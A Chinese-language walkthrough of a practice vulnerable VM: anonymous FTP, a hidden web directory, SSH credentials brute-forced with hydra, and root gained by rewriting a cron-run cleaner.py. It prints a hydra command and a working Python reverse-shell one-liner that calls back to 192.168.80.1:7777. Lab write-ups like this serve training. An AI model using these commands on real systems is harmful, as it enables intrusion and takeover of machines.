北京网络安全协会提供的实战靶机,打一下,直接给的vm镜像,打开即可部署
扫一下确认靶机IP,192.168.80.145

扫一下常规端口,然后发现ftp可以匿名登陆

登陆后发现一个浏览包,下载下来看一下

流量包内容:
1 | 220 (vsFTPd 3.0.2) |
1 | -rw-r--r-- 1 0 0 147 Aug 10 00:38 secret_stuff.txt |
1 | Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P |
下载了secret_stuff.txt,说发现了sup3rs3cr3tdirlol,在ftp里面尝试下载或者打开目录都不太行。这个意思是supersecretdirlol,秘密目录,去http服务那访问这个目录试试,果然有个二进制文件可以下载:

直接交给codex + ida-script-mcp进行分析:先在IDA里面加载二进制文件和插件

使用codex调研mcp服务直接开始分析:

最后结果:Find address 0x0856BF to proceed

这里真不知道怎么利用了,看了WP,发现还是隐藏目录,有点抽象。。。

内容分别是:
user:
1 | maleus |
password:
1 | Good_job_:) |
都手工测试了一遍,连不上,尝试hydra爆破:这个账密也是无语了。。。
1 | hydra -L user.txt -p Pass.txt 10.211.55.32 ssh |

如何提权,先跑一遍脚本,发现下载不了,没有权限,写入tmp目录发现运行不了,但是发现每5分钟都会定时断开ssh连接,可能是提示我们看定时任务:

不能直接crontab -e,那就查看一下日志,提到了cleaner.py,如果这个py文件能编辑,就可以反弹shell拿到root权限。
1 | $ cat /var/log/cronlog |
尝试vi /lib/log/cleaner.py,!wq成功强制保存。
修改为
1 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.1",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]) |
成功拿到root:

这个靶机没有太多知识点,更类似CTF,通过联想目录发现下一步,通过定时任务发现提权路径,没什么学习的地方,打了就记录一下。